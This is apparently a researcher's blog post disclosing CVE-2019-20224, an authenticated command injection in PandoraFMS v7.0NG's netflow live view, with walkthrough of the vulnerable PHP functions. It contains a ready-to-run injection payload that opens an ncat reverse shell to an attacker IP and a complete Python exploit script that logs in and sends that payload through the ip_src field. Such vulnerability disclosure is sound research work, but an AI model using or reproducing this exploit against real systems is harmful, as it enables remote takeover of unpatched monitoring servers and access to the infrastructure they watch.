PandoraFMS v7.0NG authenticated Remote Code Execution (CVE-2019-20224)

Estimated Reading Time: 6 minutes

Summary about Pandora

Pandora FMS is a monitoring software for IT infrastructure management. It includes network equipment, Windows and Unix servers, virtual infrastructure and all different kinds of applications. Pandora FMS has a large amount of features, making it a new generation software which covers all the monitoring issues that your organization may have.

About the exploit

To find the vulnerability I had to do a analyze a couple of nested functions which was a lot of fun to me, the vulnerability occurs when we try to inject a malicious input the handles an IP address to generate some sort of graphs that is generated by Pandora itself, am authenticated attacker can exploit the vulnerability by sending a crafted request that contains the payload to a function called “netflow_get_stats” on the file “functions_netflow.php” and the function “netflow_get_stats” calls another function called “netflow_get_command” to generate the required command, and finally a function called “netflow_get_filter_arguments” will parse and handle the final input that will be passed again to exec function in “netflow_get_stats” function line #648 to trigger the final payload.

And of course as usual, I used the same python script to hunt for RCE.

After running the script, I got a lot of starting points, and after browsing them I decided to start with functions_netflow.php.

function netflow_get_stats ($start_date, $end_date, $filter, $aggregate, $max, $unit, $connection_name = '', $address_resolution = false) {
	global $config, $nfdump_date_format;

	// Requesting remote data
	if (defined ('METACONSOLE') && $connection_name != '') {
		$data = metaconsole_call_remote_api ($connection_name, 'netflow_get_stats', "$start_date|$end_date|" . base64_encode(json_encode($filter)) . "|$aggregate|$max|$unit|" . (int)$address_resolution);
		return json_decode ($data, true);
	}

	// Get the command to call nfdump
	$command = netflow_get_command ($filter);

	// Execute nfdump
	$command .= " -o csv -q -n $max -s $aggregate/bytes -t " .date($nfdump_date_format, $start_date).'-'.date($nfdump_date_format, $end_date);
	exec($command, $string);

	if (! is_array($string)) {
		return array ();
	}

So as we can see in line #648, we got some values passed to exec function as a variable called “command”, which calls a function called netflow_get_command and pass the filter variable to it, and by taking a look to netflow_get_command function, we can see the following:

function netflow_get_command ($filter) {
	global $config;
	
	// Build command
	$command = io_safe_output ($config['netflow_nfdump']) . ' -N';

	// Netflow data path
	if (isset($config['netflow_path']) && $config['netflow_path'] != '') {
		$command .= ' -R. -M '.$config['netflow_path'];
	}
	
	// Filter options
	$command .= netflow_get_filter_arguments ($filter);
	
	return $command;
}

As we can see, the final command will be concatenated with a variable from the configuration of Pandora in line #900 and also will be concatenated with the output of a function called “netflow_get_filter_arguments” in line #904, so also we need to talk a look at the netflow_get_filter_arguments function to get the following:

function netflow_get_filter_arguments ($filter) {
	// Advanced filter
	$filter_args = '';
	if ($filter['advanced_filter'] != '') {
		$filter_args = preg_replace('/["\r\n]/','', io_safe_output ($filter['advanced_filter']));
		return ' "(' . $filter_args . ')"';
	}
	
	if ($filter['router_ip'] != "") {
		$filter_args .=' "(router ip ' . $filter['router_ip'] . ')';
	}
	// Normal filter
	if ($filter['ip_dst'] != '') {
		$filter_args .= ' "(';
		$val_ipdst = explode(',', io_safe_output ($filter['ip_dst']));
		for ($i = 0; $i < count ($val_ipdst); $i++) {
			if ($i > 0) {
				$filter_args .= ' or ';
			}
			
			if (netflow_is_net ($val_ipdst[$i]) == 0) {
				$filter_args .= 'dst ip '.$val_ipdst[$i];
			}
			else {
				$filter_args .= 'dst net '.$val_ipdst[$i];
			}
		}
		$filter_args .=  ')';
	}
	if ($filter['ip_src'] != '') {
		if ($filter_args == '') {
			$filter_args .= ' "(';
		}
		else {
			$filter_args .= ' and (';
		}
		$val_ipsrc = explode(',', io_safe_output ($filter['ip_src']));
		for ($i = 0; $i < count ($val_ipsrc); $i++) {
			if ($i > 0) {
				$filter_args .= ' or ';
			}
			
			if (netflow_is_net ($val_ipsrc[$i]) == 0) {
				$filter_args .= 'src ip '.$val_ipsrc[$i];
			}
			else {
				$filter_args .= 'src net '.$val_ipsrc[$i];
			}
		}
                $filter_args .=  ')';

The previous code are responsible about building the formatted string that will be used with the command itself later on based on the filter type which will be not that important to us, and in line #960 we can see that filter_args variable will hold the value of our ip_src input after confirming the type of the input if it was a “ip or net address” and it using a function called “netflow_is_net” to do that which has the following code:

/**
 * Returns 1 if the given address is a network address.
 *
 * @param string address Host or network address.
 *
 * @return 1 if the address is a network address, 0 otherwise.
 *
 */

function netflow_is_net ($address) {
	if (strpos ($address, '/') !== FALSE) {
		return 1;
	}
	
	return 0;
}

Now this function should check if you are entering a valid hostname or IP address by checking the first character of your input if it was a “/” or not, and based on line #959 back on “netflow_get_filter_arguments” function we can see that it’s only compare if the result is 0 then accept the input as ip and concatenate it as scr ip otherwise concatenate it as src net, and in the final case we will got our payload saved and returned in the filter_args variable no matter what the result was and back to the function netflow_get_filter_arguments, we can see that the payload will be saved between () like the following:

(our payload here)

And to confirm that, I will add an echo statement in line #1020 to confirm the final result of the output function:

And after send the request with the value SRC IP we will get the following:

We can browse the vulnerable page by visiting http://host/pandora_console/index.php?sec=netf&sec2=operation/netflow/nf_live_view&pure=0


Because PandoraFms using rerouting for the URLs, I just searched more in the code and understand the way that he handles the URLs and how to talk with the files to find the page and the input of it.

Now the result of filter_args will be returned to $command variable in line #904 which will be concatenated with other variable called command in function netflow_get_stats line #644,647 and finally will be passed to exec function in line #468.

So now we know how to send the input and how our input will be handled, all we have to do is to send the crafted request and escape the input, to do that we need to print the final result of the variable “command” in function netflow_get_stats like the following:

To get the following results:

Great! as we can see we got the full command printed to us and exactly as we mentioned from our analysis that it will be printed out between (), so to escape that we need to use the following payload:

"; Our payload here #

The ” to escape the command and the ; to inject the command and finally the # to comment out everything else.

Lets just test that by sending a ncat reverse shell command like the following:

";ncat -e /bin/bash 192.168.178.1 1337 #

To get the following results:

Perfect! we popped a shell.

Of course I needed to encode the URL in order to send it correctly

And after that, I wrote a python code to exploit the vulnerability:

#!/usr/bin/python3


# Exploit Title: Pandora v7.0NG Remote Code Execution
# Date: 14/11/2019
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2019-20224
# Vendor Homepage: https://pandorafms.org/
# Software link: https://pandorafms.org/features/free-download-monitoring-software/
# Version: v7.0NG
# Tested on: CentOS 7.3 / PHP 5.4.16


import requests
import sys

if len(sys.argv) != 6:
    print("[+] Usage : ./exploit.py target username password ip port")
    exit()

target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = int(sys.argv[5])

request = requests.session()

login_info = {
    "nick": username,
    "pass": password,
    "login_button": "Login"
}

login_request = request.post(
    target+"/pandora_console/index.php?login=1",
    login_info,
    verify=False,
    allow_redirects=True
 )

resp = login_request.text

if "User not found in database" in resp:
    print("[-] Login Failed")
    exit()
else:
    print("[+] Logged In Successfully")

print("[+] Sending crafted graph request ..")

body_request = {
    "date": "0",
    "time": "0",
    "period": "0",
    "interval_length": "0",
    "chart_type": "netflow_area",
    "max_aggregates": "1",
    "address_resolution": "0",
    "name": "0",
    "assign_group": "0",
    "filter_type": "0",
    "filter_id": "0",
    "filter_selected": "0",
    "ip_dst": "0",
    "ip_src": '";ncat -e /bin/bash {0} {1} #'.format(ip, port),
    "draw_button": "Draw"
}

draw_url = target + "/pandora_console/index.php?sec=netf&sec2=operation/netflow/nf_live_view&pure=0"
print("[+] Check your netcat ;)")
request.post(draw_url, body_request)

And after running the exploit we will get the following result:

The company already reported about the vulnerability and a fix should be issued.

Leave a Reply

Your email address will not be published. Required fields are marked *